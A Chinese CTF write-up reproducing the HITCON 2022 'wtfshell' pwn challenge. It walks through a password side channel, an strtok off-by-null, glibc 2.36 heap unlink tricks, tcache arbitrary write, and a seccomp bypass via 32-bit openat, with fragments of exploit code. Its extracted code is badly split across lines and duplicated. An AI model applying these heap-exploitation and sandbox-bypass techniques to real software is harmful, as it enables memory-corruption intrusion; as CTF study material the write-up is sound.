征战hitcon2022,pwn手坐大牢,wtfshell这道题审了三小时源码,只看出来一个 chk_pw
侧信道+read_pw
未置零,最终可以通过侧信道leak出一个heap地址,没有看出其余的洞,最终放弃。
wtfshell1
最终解数为4,wtfshell2
最终解数为3。第一题解出来了第二题基本就解出来了。
感谢crazyman
第二天来告诉我wtfshell的主要漏洞(strtok off by null),思考后脑子里出现了一套完整的利用思路。因此做出如下复现。
文章不太喜欢附图,大家多包涵,做出来难度还是蛮大的,因为即使知道了strtok->off-by-null
,还是有非常多细节需要思考☹️。
题目提供了源码,一共930+行,libc为glibc2.36 3
,由于glibc-all-in-one
中找不到该版本libc,因此我换了一个小版本,用glibc2.36 4
进行复现。
程序实现了一个类似于shell交互,输入rtfm
可以查看菜单:
功能主要为:
查看chk_pw
函数:
可以看到逻辑为:
当检查途中遇到不正确的字符,且 i 并未到达pw_len
时,我们可以通过输入\n符是否退出chk_pw
来判断当前密码字符是否正确。
且若密码不正确,输入\n退出chk_pw
后会打印:
因此我们可以通过接收字符来判断密码字符是否正确,达到侧信道爆破的目的。
查看user结构体:uname堆指针跟在ushadow密码后。
查看read_pw
函数:在读满PWMAX
size的时候,并未在末尾置零,导致user->ushadow
与user->uname
指针连接。
查看chk_pw
函数:判断密码位数是通过strlen
来判断的:
因此结合起来,我们可以利用侧信道+结构体,来leak出一个堆地址。
main函数中的gbuff是拿来储存我们的命令字符串的,大小为0x400,对其有一个分割符处理:
strtok
函数会不断往字符串后面遍历,直到遇到\x00
截断,同时strtok
会将查找到的隔断符delim
设置为\x00
。
查看隔断符delim:
其中!的ascii码值为0x21,若我们能在gbuff
0x400大小的堆块里填入0x408个非零字符,同时在后面跟上一个size头低字节为0x21的堆块,即可通过strtok
实现off-by-null
。
首先申请一个user
结构体,填满其pwd。本地gdb调试之后发现这样user->uname
指针末尾为0,因此可以申请两个user
结构体,第一个用作填充,使第二个user
结构体的user->uname
指针末尾不为0。
由于堆地址最低字节固定,不用泄露:
堆风水真的给整麻了。
首先我们需要得到一个被填满0x408非零字节的gbuff
堆块。
整个程序free只能通过两种方式:①xrealloc,②xfree。
其中xfree函数:
其中malloc_usable_size
函数会获取该heap所有能写的size,也就是说紧邻该堆块的下一个堆块的prev_size
也会被算进来清零,因此我们要避开xfree,只能用xrealloc
来free。
xrealloc
其实就是调用realloc
函数,当我们申请一个大于当前堆块size的堆块时,realloc
会free掉当前堆块,然后重新申请堆块,这个过程中是不会清空free的堆块内容的。
小堆风水一波,得到一个填满0x408非零字节的gbuff
堆块步骤为:
接下来就很简单能够想到在gbuff
的下面申请一个堆块,off-by-null
之后利用,以下文章将该堆块命名为off-by-null-chunk
在思考这一段时,卡了我非常久,特别鸣谢winmt
师傅和ln3
师傅和我激情讨论,一次次点醒我。
①off-by-null-chunk
的prev_size
我们无法控制。
首先我们知道,off-by-null-chunk
的prev_size
是被填满了八字节的,不然无法触发strtok
然后触发off-by-null
。
gbuff
堆块与off-by-null-chunk
是紧挨的,然后我们如果要更改off-by-null-chunk
的prev_size
,就必须通过gbuff
来更改。
我们知道,我们只能控制gbuff
堆块的前0x400个字节,更改不了off-by-null-chunk
的prev_size
。
尝试思路一:首先肯定要触发off-by-null
,我想的是触发off-by-null
之后,再次调用cmd_irl
来free掉gbuff
,然后申请一个普通chunk,size为0x408,这样就能更改到off-by-null-chunk
的prev_size
。
但是这样是显然行不通的,因为free掉gbuff
的时候,会判断gbuff
下面那个堆块的use状态,由于已经off-by-null
,会触发off-by-null
,但是我们的prev_size
不合法,这样会导致程序出错。
尝试思路二:我详细查阅了strtok的作用,如果出现连续的delim分隔符会如何处理,看能不能同时利用strtok将gbuff
第0x400-0x408个字节中非prev_size
部分清空,同时触发off-by-null
。最终也以失败告终。
最终思路:再次审查源码后,发现cmd_rip
函数中:
注意代码中我注释的this和that部分。
关注到remove_slash
函数,会将字符串中含\的部分置为\x00:
同时也是通过strlen
来判断长度。
menu
与cmd_rip
函数中,按先后顺序调用了如下:
如果我们构造这样的payload:
同时,在之前堆风水写gbuff
的第0x400-0x408字节,若我们填入如下内容:
那么在执行第一句语句之后,返回的指针已经指向
注意strtok第一个参数为NULL时,继承的是上一次strtok返回的指针。
因此执行第二句语句之后,能够将off-by-null
的size头低位0x21置为0,触发off-by-null
同时,执行第三句语句,将调整我们的prev_size
为正常。
因此至此,我们已经构造好prev_size
。
我们知道,free一个堆块,会去检测下一个堆块的next_size
是否合法:
我们free掉off-by-null-chunk
的时候,除非off-by-null-chunk
的size本身为0x501
这种,off by null之后不用伪造next_size
。否则需要伪造合法的next_size
,不然free会触发错误。
伪造next_size
的过程几乎没有希望的,之前看来:
首先off-by-null-chunk
的size需要大于0x400(不能在tcache范围),在tcache范围内的tcache_off-by-null
是没有作用的。
这就意味着我们申请的off-by-null-chunk
的size需要大于0x400,那就只能调用cmd_rip
来申请,其他都不能申请大于0x400 size的chunk。而cmd_rip
的操作是根据strlen
函数返回的长度来进行realloc
的,也就是说,我们申请出某个size 的堆块,就必须填满他。
cmd_rip
中部分代码:
但我们要伪造fake_next_size
,fake_next_size
中肯定带\x00
截断,同时由于off-by-null-chunk
原本size低字节为0x21,被改成\x00后,fake_next_size
要放在off-by-null-chunk
的+0x500处,例如如下结构:
其中padding为8非零字节。可以注意到fake_next_size
中带\x00截断,因此我们不能申请到0x521大小的chunk。
想过很多种方法,例如利用realloc
去进行一些trick,例如:
先申请出0x521大小的chunk,然后利用cmd_wtf
里的strcpy
往里填入零字节,再利用cmd_rip
来realloc到适当字节,恰好写进fake_next_size
,但是对一个内存大于申请size的堆块进行realloc
,会free掉剩余size的小chunk:
例如对0x521 chunk 进行reallc(ptr,0x410)
,他会free掉剩余的0x100字节。这样会破坏掉原来chunk的size头,导致我们不能触发off-by-null
。
可见对大于0x400 size的chunk去写入一个fake_next_size
是非常困难的。
转换思路呢?可能一开始就想错了,为什么off-by-null-chunk
size一定要大于0x400呢?他的size可以是0x321,只要我们提前填满对应size的tcache_list
即可。
而如果size小于0x400,我们观察cmd_wtf
函数:
其中关键的即为:
若strlen(fdata)<strlen(gfiles[i]->fdata)
,是不会触发realloc
的,而是直接调用strcpy
,也就是说,我们可以提前填满一个堆块,然后利用这个fdata size更小的时候,从后往前填充\x00字节,这样就能够伪造好我们的fake_next_size
。
后续写入地址也多次用到这个方式,因此我封装了一个函数(不太优雅,将就着看):
整理一下我们之前做到的事情:
并且这道题我们已经用侧信道泄露了堆地址,大大降低了off-by-null
的难度,可以进行safe-unlink
。
只用在上方伪造一个size,然后绕过如下检测即可:
堆风水:
如果我们构造成:
这里注意的是,p->fd->bk
和p->bk->fd
指向的地方,不能和p->fd_nextsize->bk_nextsize
和p->bk_nextsize->fd_nextsize
指向的地方相同,否则在通过第一个检测之后,会执行:
就绕不过第二个检测:
因此最终构造为:
这里我在off-by-null-chunk
下方没有构造好,导致一个tcache
的prev_inuse
为0,触发了第二次unlink
,小调整了一下即可。
off-by-null
之后,中间夹了几个tcache
,即可实现泄露和任意地址写。
需要注意的是:
能够任意写的tcache
size必须要小,因为cmd
中任何申请函数都是以strlen
返回结果来进行malloc的,也就是说,如果我们想申请任意写,我们就必须填满其chunk。例如我最开始构造的tcache
size为0x300,这样的话,申请过去的堆块必须填满0x2f0内容。
wtfshell1
中,我的思路是申请到flag1
堆块,更改其file->flag
为3(rw)与file->name
。
如果任意写的tcache_size
过大,申请过去必须得写完,这会导致把堆上很多指针或者file->name
破坏掉。
wtfshell2
中,我的思路是打libc got表,那0x2f0大小必定会破坏掉非常多东西,因此也是不可能的。
因此做到这之后,我又重新调整tcache_size
,小改了一波堆风水。
至此我们已经拿到heap_base
,libc_base
,并且有了任意写,泄露之后申请任意写过去改掉file->flag
为3(rw)与file->name
。
观察cmd_omfg
:发现如果是root用户,可以查看所有文件内容(若具有可读属性)。
由于我已经将file->flag
改为3,file->name
改为aaaaaaaaaaaaaaaa
。
直接调用show即可打印出第一个flag。
至此,wtfshell1
get。
ps:exp运行一次可能不能成功,侧信道爆破以及write_addr
似乎有某些bug,不过多运行几次就能通。
wtfshell2只用考虑如何绕过沙盒,并且劫持程序流即可。
劫持strtok
的libc-got表为magic_gadget
,然后可劫持程序流。
沙盒是白名单,没有open。沙盒绕过卡掉了一个解,wtfshell2
比wtfshell1
少了一个解。wtfshell2
相比与wtfshell1
就是多了沙盒。因为我们在wtfshell1
中已经拿到了任意地址写,和heap_base
,libc_base
,wtfshell2
考察的就是如何绕过沙箱写orw
:
沙盒绕过是由winmt
师傅看出来的,沙盒大手子。
但是程序本身是白名单,并没有允许open
,这该怎么办呢?
可以看到沙盒没有判断架构,而允许了preadv
而preadv
在64位下调用号为:
同时openat
在32位下调用号为:
因此直接可用int0x80
调用32位下的openat
。
注意沙盒里判断了preadv
的第一个参数需要大于2,因此我们openat
的第一个参数也需要大于2,而当openat
使用绝对路径的时候,第一个参数不影响结果,故这里最好用绝对路径/flag2
。
至此,wtfshell2
get
πππππππππππππππππππππππππππππππππππππππππππππππππππππππππππππππππ
π rtfm. Read This Friendly Manual π
π qq. Quit Quietly π
π lol,[
-
l].
List
Of fiLes π
π rip.[
FILE
] Redirect
InPut
π
π nsfw,
FILE
,PERM. New Single
File
for
Writing π
π wtf,DATA,
FILE
. Write data To
File
π
π omfg,
FILE
. Output My
File
Gracefully π
π gtfo,
FILE
. GeT the
File
Out π
π ouo. Output current User Out π
π stfu,USER.
SeT
new Friendly User π
π asap,[USER]. ASsign A new Password π
π sus,USER. Switch USer π
π shit. SHell InformaTion π
π irl. Instantly Reset shelL π
πππππππππππππππππππππππππππππππππππππππππππππππππππππππππππππππππ
πππππππππππππππππππππππππππππππππππππππππππππππππππππππππππππππππ
π rtfm. Read This Friendly Manual π
π qq. Quit Quietly π
π lol,[
-
l].
List
Of fiLes π
π rip.[
FILE
] Redirect
InPut
π
π nsfw,
FILE
,PERM. New Single
File
for
Writing π
π wtf,DATA,
FILE
. Write data To
File
π
π omfg,
FILE
. Output My
File
Gracefully π
π gtfo,
FILE
. GeT the
File
Out π
π ouo. Output current User Out π
π stfu,USER.
SeT
new Friendly User π
π asap,[USER]. ASsign A new Password π
π sus,USER. Switch USer π
π shit. SHell InformaTion π
π irl. Instantly Reset shelL π
πππππππππππππππππππππππππππππππππππππππππππππππππππππππππππππππππ
int
chk_pw(const char
*
pw) {
char
input
;
int
pw_len
=
strlen(pw);
for
(
int
i
=
0
; i < pw_len
+
1
; i
+
+
) {
int
res
=
read(STDIN_FILENO, &
input
,
1
);
if
(res <
0
) {
terminate();
}
if
(i
=
=
pw_len) {
/
/
The last character must be a line
break
return
input
=
=
'\n'
;
}
if
(
input
=
=
'\n'
) {
/
/
Ignore accidental line breaks
i
-
-
;
continue
;
}
/
*
If password mismatch, quit immediately
*
/
if
(
input
!
=
pw[i]) {
/
*
Read characters until
'\n'
*
/
while
(
1
) {
int
res
=
read(STDIN_FILENO, &
input
,
1
);
if
(res <
0
) {
terminate();
}
if
(
input
=
=
'\n'
) {
return
0
;
}
}
}
}
}
int
chk_pw(const char
*
pw) {
char
input
;
int
pw_len
=
strlen(pw);
for
(
int
i
=
0
; i < pw_len
+
1
; i
+
+
) {
int
res
=
read(STDIN_FILENO, &
input
,
1
);
if
(res <
0
) {
terminate();
}
if
(i
=
=
pw_len) {
/
/
The last character must be a line
break
return
input
=
=
'\n'
;
}
if
(
input
=
=
'\n'
) {
/
/
Ignore accidental line breaks
i
-
-
;
continue
;
}
/
*
If password mismatch, quit immediately
*
/
if
(
input
!
=
pw[i]) {
/
*
Read characters until
'\n'
*
/
while
(
1
) {
int
res
=
read(STDIN_FILENO, &
input
,
1
);
if
(res <
0
) {
terminate();
}
if
(
input
=
=
'\n'
) {
return
0
;
}
}
}
}
}
if
(!chk_pw(gusers[i]
-
>ushadow)) {
/
*
Clear data when error occurs
*
/
bzero(gusers[i]
-
>ushadow, PWMAX);
write_str(
"asap: pw1 ≠ pw2\n"
);
return
;
}
if
(!chk_pw(gusers[i]
-
>ushadow)) {
/
*
Clear data when error occurs
*
/
bzero(gusers[i]
-
>ushadow, PWMAX);
write_str(
"asap: pw1 ≠ pw2\n"
);
return
;
}
struct user {
char ushadow[PWMAX];
char
*
uname;
int
uid;
};
struct user {
char ushadow[PWMAX];
char
*
uname;
int
uid;
};
int
read_pw(char
*
dest) {
int
read_num
=
0
;
while
(read_num < PWMAX) {
int
res
=
read(STDIN_FILENO, &dest[read_num],
1
);
if
(res <
0
) {
terminate();
}
if
(dest[read_num]
=
=
'\n'
) {
dest[read_num]
=
'\0'
;
return
read_num;
}
read_num
+
+
;
}
return
read_num;
}
int
read_pw(char
*
dest) {
int
read_num
=
0
;
while
(read_num < PWMAX) {
int
res
=
read(STDIN_FILENO, &dest[read_num],
1
);
if
(res <
0
) {
terminate();
}
if
(dest[read_num]
=
=
'\n'
) {
dest[read_num]
=
'\0'
;
return
read_num;
}
read_num
+
+
;
}
return
read_num;
}
int
pw_len
=
strlen(pw);
read_max(gbuff, GBSIZE);
char
*
token
=
strtok(gbuff, delim);
read_max(gbuff, GBSIZE);
char
*
token
=
strtok(gbuff, delim);
const char delim[]
=
".,?!"
;
const char delim[]
=
".,?!"
;
def
burp(name,pwd):
addr
=
"\x80"
for
i
in
range
(
0x6
):
log.success(
"addr: "
+
hex
(u64(addr.ljust(
0x8
,
'\0'
))))
for
j
in
range
(
0xb
,
0xff
):
payload
=
b
'asap,'
+
name
menu(payload)
r.recvuntil(b
"password:"
)
r.send(pwd)
r.recvuntil(b
"retype password:"
)
r.send(pwd
+
addr
+
chr
(j)
+
"\n"
)
data
=
r.recvuntil(
"\n"
,timeout
=
0.1
)
if
b
"asap: "
not
in
data:
addr
+
=
chr
(j)
r.send(b
'\x00\n'
)
break
else
:
continue
return
u64(addr.ljust(
0x8
,
'\0'
))
def
burp(name,pwd):
addr
=
"\x80"
for
i
in
range
(
0x6
):
log.success(
"addr: "
+
hex
(u64(addr.ljust(
0x8
,
'\0'
))))
for
j
in
range
(
0xb
,
0xff
):
payload
=
b
'asap,'
+
name
menu(payload)
r.recvuntil(b
"password:"
)
r.send(pwd)
r.recvuntil(b
"retype password:"
)
r.send(pwd
+
addr
+
chr
(j)
+
"\n"
)
data
=
r.recvuntil(
"\n"
,timeout
=
0.1
)
if
b
"asap: "
not
in
data:
addr
+
=
chr
(j)
r.send(b
'\x00\n'
)
break
else
:
continue
return
u64(addr.ljust(
0x8
,
'\0'
))
void xfree(void
*
ptr) {
if
(!ptr) {
return
;
}
size_t size
=
malloc_usable_size(ptr);
bzero(ptr, size);
free(ptr);
}
void xfree(void
*
ptr) {
if
(!ptr) {
return
;
}
size_t size
=
malloc_usable_size(ptr);
bzero(ptr, size);
free(ptr);
}
void cmd_rip() {
char
*
fname
=
strtok(NULL, delim);
char
*
rbuff
=
xmalloc(SBSIZE);
/
*
Redirect
input
to stdout
*
/
if
(!fname) {
read_max(rbuff, SBSIZE);
write_str(rbuff);
write_str(
"\n"
);
xfree(rbuff);
return
;
}
/
*
Redirect
input
to a
file
*
/
remove_slash(fname);
if
(strlen(fname)
=
=
0
) {
write_str(
"rip: flag = ∅\n"
);
xfree(rbuff);
return
;
}
/
*
Special case: flag1 cannot be altered
*
/
if
(!strcmp(fname,
"flag1"
)) {
write_str(
"rip: ¬ perm\n"
);
xfree(rbuff);
return
;
}
for
(
int
i
=
1
/
*
ignore flag1
*
/
; i < FILEMAX; i
+
+
) {
if
(gfiles[i] && gfiles[i]
-
>fname && !strcmp(gfiles[i]
-
>fname, fname)) {
/
*
The
file
's owner must be root
or
the current user,
and
the
file
must be writable
*
/
if
((curr_uid !
=
0
&& gfiles[i]
-
>fuid !
=
curr_uid) || !(gfiles[i]
-
>fflag & WRPERM)) {
write_str(
"rip: ¬ perm\n"
);
xfree(rbuff);
return
;
}
read_max(rbuff, SBSIZE);
if
(gfiles[i]
-
>fdata) {
/
*
File
is
not
empty
-
> rewrite the
file
content
*
/
if
(strlen(rbuff) >
0
) {
gfiles[i]
-
>fdata
=
xrealloc(gfiles[i]
-
>fdata, strlen(gfiles[i]
-
>fdata)
+
strlen(rbuff)
+
1
);
/
/
Remember the extra null byte
}
strcat(gfiles[i]
-
>fdata, rbuff);
}
else
{
/
*
File
is
empty
-
> write the content directly
*
/
gfiles[i]
-
>fdata
=
strdup(rbuff);
}
xfree(rbuff);
return
;
}
}
write_str(
"rip: \""
);
write_str(fname);
write_str(
"\" ∉ ℱ\n"
);
xfree(rbuff);
}
void cmd_rip() {
char
*
fname
=
strtok(NULL, delim);
char
*
rbuff
=
xmalloc(SBSIZE);
/
*
Redirect
input
to stdout
*
/
if
(!fname) {
read_max(rbuff, SBSIZE);
write_str(rbuff);
write_str(
"\n"
);
xfree(rbuff);
return
;
}
/
*
Redirect
input
to a
file
*
/
remove_slash(fname);
if
(strlen(fname)
=
=
0
) {
write_str(
"rip: flag = ∅\n"
);
xfree(rbuff);
return
;
}
/
*
Special case: flag1 cannot be altered
*
/
if
(!strcmp(fname,
"flag1"
)) {
write_str(
"rip: ¬ perm\n"
);
xfree(rbuff);
return
;
}
for
(
int
i
=
1
/
*
ignore flag1
*
/
; i < FILEMAX; i
+
+
) {
if
(gfiles[i] && gfiles[i]
-
>fname && !strcmp(gfiles[i]
-
>fname, fname)) {
/
*
The
file
's owner must be root
or
the current user,
and
the
file
must be writable
*
/
if
((curr_uid !
=
0
&& gfiles[i]
-
>fuid !
=
curr_uid) || !(gfiles[i]
-
>fflag & WRPERM)) {
write_str(
"rip: ¬ perm\n"
);
xfree(rbuff);
return
;
}
read_max(rbuff, SBSIZE);
if
(gfiles[i]
-
>fdata) {
/
*
File
is
not
empty
-
> rewrite the
file
content
*
/
if
(strlen(rbuff) >
0
) {
gfiles[i]
-
>fdata
=
xrealloc(gfiles[i]
-
>fdata, strlen(gfiles[i]
-
>fdata)
+
strlen(rbuff)
+
1
);
/
/
Remember the extra null byte
}
strcat(gfiles[i]
-
>fdata, rbuff);
}
else
{
/
*
File
is
empty
-
> write the content directly
*
/
gfiles[i]
-
>fdata
=
strdup(rbuff);
}
xfree(rbuff);
return
;
}
}
write_str(
"rip: \""
);
write_str(fname);
write_str(
"\" ∉ ℱ\n"
);
xfree(rbuff);
}
void remove_slash(char
*
fname) {
int
fname_len
=
strlen(fname);
for
(
int
i
=
0
; i < fname_len; i
+
+
) {
if
(fname[i]
=
=
'/'
) {
fname[i]
=
'\0'
;
}
}
}
void remove_slash(char
*
fname) {
int
fname_len
=
strlen(fname);
for
(
int
i
=
0
; i < fname_len; i
+
+
) {
if
(fname[i]
=
=
'/'
) {
fname[i]
=
'\0'
;
}
}
}
char
*
token
=
strtok(gbuff, delim);
char
*
fname
=
strtok(NULL, delim);
remove_slash(fname);
char
*
token
=
strtok(gbuff, delim);
char
*
fname
=
strtok(NULL, delim);
remove_slash(fname);
b
'rip.'
+
b
'a'
*
(
0x400
-
4
)
p16(prev_size)
+
b
'\'
*
6
b
'a'
*
(
0x400
-
4
)
+
p16(prev_size)
+
b
'\'
*
6
b
'a'
*
(
0x400
-
4
)
+
p16(prev_size)
+
b
'\'
*
6
if
(__glibc_unlikely (chunksize_nomask (
next
) < CHUNK_HDR_SZ)
|| __glibc_unlikely (chunksize_nomask (
next
) > av
-
>system_mem))
malloc_printerr (
"malloc(): invalid next size (unsorted)"
);
if
(__glibc_unlikely (chunksize_nomask (
next
) < CHUNK_HDR_SZ)
|| __glibc_unlikely (chunksize_nomask (
next
) > av
-
>system_mem))
malloc_printerr (
"malloc(): invalid next size (unsorted)"
);
for
(
int
i
=
1
/
*
ignore flag1
*
/
; i < FILEMAX; i
+
+
) {
if
(gfiles[i] && gfiles[i]
-
>fname && !strcmp(gfiles[i]
-
>fname, fname)) {
/
*
The
file
's owner must be root
or
the current user,
and
the
file
must be writable
*
/
if
((curr_uid !
=
0
&& gfiles[i]
-
>fuid !
=
curr_uid) || !(gfiles[i]
-
>fflag & WRPERM)) {
write_str(
"rip: ¬ perm\n"
);
xfree(rbuff);
return
;
}
read_max(rbuff, SBSIZE);
if
(gfiles[i]
-
>fdata) {
/
*
File
is
not
empty
-
> rewrite the
file
content
*
/
if
(strlen(rbuff) >
0
) {
gfiles[i]
-
>fdata
=
xrealloc(gfiles[i]
-
>fdata, strlen(gfiles[i]
-
>fdata)
+
strlen(rbuff)
+
1
);
/
/
Remember the extra null byte
}
strcat(gfiles[i]
-
>fdata, rbuff);
}
else
{
/
*
File
is
empty
-
> write the content directly
*
/
gfiles[i]
-
>fdata
=
strdup(rbuff);
}
xfree(rbuff);
return
;
}
}
for
(
int
i
=
1
/
*
ignore flag1
*
/
; i < FILEMAX; i
+
+
) {
if
(gfiles[i] && gfiles[i]
-
>fname && !strcmp(gfiles[i]
-
>fname, fname)) {
/
*
The
file
's owner must be root
or
the current user,
and
the
file
must be writable
*
/
if
((curr_uid !
=
0
&& gfiles[i]
-
>fuid !
=
curr_uid) || !(gfiles[i]
-
>fflag & WRPERM)) {
write_str(
"rip: ¬ perm\n"
);
xfree(rbuff);
return
;
}
read_max(rbuff, SBSIZE);
if
(gfiles[i]
-
>fdata) {
/
*
File
is
not
empty
-
> rewrite the
file
content
*
/
if
(strlen(rbuff) >
0
) {
gfiles[i]
-
>fdata
=
xrealloc(gfiles[i]
-
>fdata, strlen(gfiles[i]
-
>fdata)
+
strlen(rbuff)
+
1
);
/
/
Remember the extra null byte
}
strcat(gfiles[i]
-
>fdata, rbuff);
}
else
{
/
*
File
is
empty
-
> write the content directly
*
/
gfiles[i]
-
>fdata
=
strdup(rbuff);
}
xfree(rbuff);
return
;
}
}
off
-
by
-
null
-
chunk:
0
0x500
(
0x521
)
........
........
padding,fake_next_size
padding,padding。
off
-
by
-
null
-
chunk:
0
0x500
(
0x521
)
........
........
padding,fake_next_size
padding,padding。
void cmd_wtf() {
char
*
fdata
=
strtok(NULL, delim);
if
(!fdata) {
write_str(
"wtf: data ∈ ∅\n"
);
return
;
}
char
*
fname
=
strtok(NULL, delim);
if
(!fname) {
write_str(
"wtf: file ∈ ∅\n"
);
return
;
}
remove_slash(fname);
if
(strlen(fname)
=
=
0
) {
write_str(
"wtf: file = ∅\n"
);
return
;
}
/
*
Special case: flag1 cannot be altered
*
/
if
(!strcmp(fname,
"flag1"
)) {
write_str(
"wtf: ¬ perm\n"
);
return
;
}
for
(
int
i
=
1
/
*
ignore flag1
*
/
; i < FILEMAX; i
+
+
) {
if
(gfiles[i] && gfiles[i]
-
>fname && !strcmp(gfiles[i]
-
>fname, fname)) {
/
*
The
file
's owner must be root
or
the current user,
and
the
file
must be writable
*
/
if
((curr_uid !
=
0
&& gfiles[i]
-
>fuid !
=
curr_uid) || !(gfiles[i]
-
>fflag & WRPERM)) {
write_str(
"wtf: ¬ perm\n"
);
return
;
}
if
(gfiles[i]
-
>fdata) {
/
*
File
is
not
empty
-
> rewrite the
file
content
*
/
if
(strlen(fdata) > strlen(gfiles[i]
-
>fdata)) {
gfiles[i]
-
>fdata
=
xrealloc(gfiles[i]
-
>fdata, strlen(fdata)
+
1
);
/
/
Remember the extra null byte
}
strcpy(gfiles[i]
-
>fdata, fdata);
}
else
{
/
*
File
is
empty
-
> write the content directly
*
/
gfiles[i]
-
>fdata
=
strdup(fdata);
}
return
;
}
}
write_str(
"wtf: \""
);
write_str(fname);
write_str(
"\" ∉ ℱ\n"
);
}
void cmd_wtf() {
char
*
fdata
=
strtok(NULL, delim);
if
(!fdata) {
write_str(
"wtf: data ∈ ∅\n"
);
return
;
}
char
*
fname
=
strtok(NULL, delim);
if
(!fname) {
write_str(
"wtf: file ∈ ∅\n"
);
return
;
}
remove_slash(fname);
if
(strlen(fname)
=
=
0
) {
write_str(
"wtf: file = ∅\n"
);
return
;
}
/
*
Special case: flag1 cannot be altered
*
/
if
(!strcmp(fname,
"flag1"
)) {
write_str(
"wtf: ¬ perm\n"
);
return
;
}
for
(
int
i
=
1
/
*
ignore flag1
*
/
; i < FILEMAX; i
+
+
) {
if
(gfiles[i] && gfiles[i]
-
>fname && !strcmp(gfiles[i]
-
>fname, fname)) {
/
*
The
file
's owner must be root
or
the current user,
and
the
file
must be writable
*
/
if
((curr_uid !
=
0
&& gfiles[i]
-
>fuid !
=
curr_uid) || !(gfiles[i]
-
>fflag & WRPERM)) {
write_str(
"wtf: ¬ perm\n"
);
return
;
}
if
(gfiles[i]
-
>fdata) {
/
*
File
is
not
empty
-
> rewrite the
file
content
*
/
if
(strlen(fdata) > strlen(gfiles[i]
-
>fdata)) {
gfiles[i]
-
>fdata
=
xrealloc(gfiles[i]
-
>fdata, strlen(fdata)
+
1
);
/
/
Remember the extra null byte
}
strcpy(gfiles[i]
-
>fdata, fdata);
}
else
{
/
*
File
is
empty
-
> write the content directly
*
/
gfiles[i]
-
>fdata
=
strdup(fdata);
}
return
;
}
}
write_str(
"wtf: \""
);
write_str(fname);
write_str(
"\" ∉ ℱ\n"
);
}
if
(gfiles[i]
-
>fdata) {
/
*
File
is
not
empty
-
> rewrite the
file
content
*
/
if
(strlen(fdata) > strlen(gfiles[i]
-
>fdata)) {
gfiles[i]
-
>fdata
=
xrealloc(gfiles[i]
-
>fdata, strlen(fdata)
+
1
);
/
/
Remember the extra null byte
}
strcpy(gfiles[i]
-
>fdata, fdata);
}
else
{
/
*
File
is
empty
-
> write the content directly
*
/
gfiles[i]
-
>fdata
=
strdup(fdata);
}
return
;
}
if
(gfiles[i]
-
>fdata) {
/
*
File
is
not
empty
-
> rewrite the
file
content
*
/
if
(strlen(fdata) > strlen(gfiles[i]
-
>fdata)) {
gfiles[i]
-
>fdata
=
xrealloc(gfiles[i]
-
>fdata, strlen(fdata)
+
1
);
/
/
Remember the extra null byte
}
strcpy(gfiles[i]
-
>fdata, fdata);
}
else
{
/
*
File
is
empty
-
> write the content directly
*
/
gfiles[i]
-
>fdata
=
strdup(fdata);
}
return
;
}
def
write_addr(filename,payload,size):
whole_size
=
len
(payload)
+
1
no_null_payload
=
payload.replace(b
'\x00'
,b
'a'
)
for
i
in
range
(size):
if
no_null_payload[whole_size
-
i
-
2
:whole_size
-
i
-
1
]
=
=
b
'a'
:
recover_data(filename,no_null_payload[
0
:whole_size
-
i
-
2
])
else
:
continue
def
write_addr(filename,payload,size):
whole_size
=
len
(payload)
+
1
no_null_payload
=
payload.replace(b
'\x00'
,b
'a'
)
for
i
in
range
(size):
if
no_null_payload[whole_size
-
i
-
2
:whole_size
-
i
-
1
]
=
=
b
'a'
:
recover_data(filename,no_null_payload[
0
:whole_size
-
i
-
2
])
else
:
continue
if
(__builtin_expect (fd
-
>bk !
=
p || bk
-
>fd !
=
p,
0
))
malloc_printerr (
"corrupted double-linked list"
);
fd
-
>bk
=
bk;
bk
-
>fd
=
fd;
if
(!in_smallbin_range (chunksize_nomask (p)) && p
-
>fd_nextsize !
=
NULL)
{
if
(p
-
>fd_nextsize
-
>bk_nextsize !
=
p
|| p
-
>bk_nextsize
-
>fd_nextsize !
=
p)
malloc_printerr (
"corrupted double-linked list (not small)"
);
if
(__builtin_expect (fd
-
>bk !
=
p || bk
-
>fd !
=
p,
0
))
malloc_printerr (
"corrupted double-linked list"
);
fd
-
>bk
=
bk;
bk
-
>fd
=
fd;
if
(!in_smallbin_range (chunksize_nomask (p)) && p
-
>fd_nextsize !
=
NULL)
{
if
(p
-
>fd_nextsize
-
>bk_nextsize !
=
p
|| p
-
>bk_nextsize
-
>fd_nextsize !
=
p)
malloc_printerr (
"corrupted double-linked list (not small)"
);
0
fake_size
fake_fd fake_bk
fake_fd_nextsize fake_bk_nextsize
P
-
>addr
0
fake_size
fake_fd fake_bk
fake_fd_nextsize fake_bk_nextsize
P
-
>addr
fd
-
>bk
=
bk;
bk
-
>fd
=
fd;
fd
-
>bk
=
bk;
bk
-
>fd
=
fd;
if
(p
-
>fd_nextsize
-
>bk_nextsize !
=
p
|| p
-
>bk_nextsize
-
>fd_nextsize !
=
p)
malloc_printerr (
"corrupted double-linked list (not small)"
);
if
(p
-
>fd_nextsize
-
>bk_nextsize !
=
p
|| p
-
>bk_nextsize
-
>fd_nextsize !
=
p)
malloc_printerr (
"corrupted double-linked list (not small)"
);
0
fake_size
fake_fd fake_bk
fake_fd_nextsize fake_bk_nextsize
P
-
>addr P
-
>addr
0
fake_size
fake_fd fake_bk
fake_fd_nextsize fake_bk_nextsize
P
-
>addr P
-
>addr
void cmd_omfg() {
char
*
fname
=
strtok(NULL, delim);
if
(!fname) {
write_str(
"omfg: file ∈ ∅\n"
);
return
;
}
remove_slash(fname);
if
(strlen(fname)
=
=
0
) {
write_str(
"omfg: file = ∅\n"
);
return
;
}
for
(
int
i
=
0
; i < FILEMAX; i
+
+
) {
if
(gfiles[i] && gfiles[i]
-
>fname && !strcmp(gfiles[i]
-
>fname, fname)) {
/
*
The
file
's owner must be root
or
the current user,
and
the
file
must be readable
*
/
if
((curr_uid !
=
0
&& gfiles[i]
-
>fuid !
=
curr_uid) || !(gfiles[i]
-
>fflag & RDPERM)) {
write_str(
"omfg: ¬ perm\n"
);
return
;
}
if
(!gfiles[i]
-
>fdata) {
/
/
empty
file
return
;
}
write_str(gfiles[i]
-
>fdata);
write_str(
"\n"
);
return
;
}
}
write_str(
"omfg: \""
);
write_str(fname);
write_str(
"\" ∉ ℱ \n"
);
}
void cmd_omfg() {
char
*
fname
=
strtok(NULL, delim);
if
(!fname) {
write_str(
"omfg: file ∈ ∅\n"
);
return
;
}
remove_slash(fname);
if
(strlen(fname)
=
=
0
) {
write_str(
"omfg: file = ∅\n"
);
return
;
}
for
(
int
i
=
0
; i < FILEMAX; i
+
+
) {
if
(gfiles[i] && gfiles[i]
-
>fname && !strcmp(gfiles[i]
-
>fname, fname)) {
/
*
The
file
's owner must be root
or
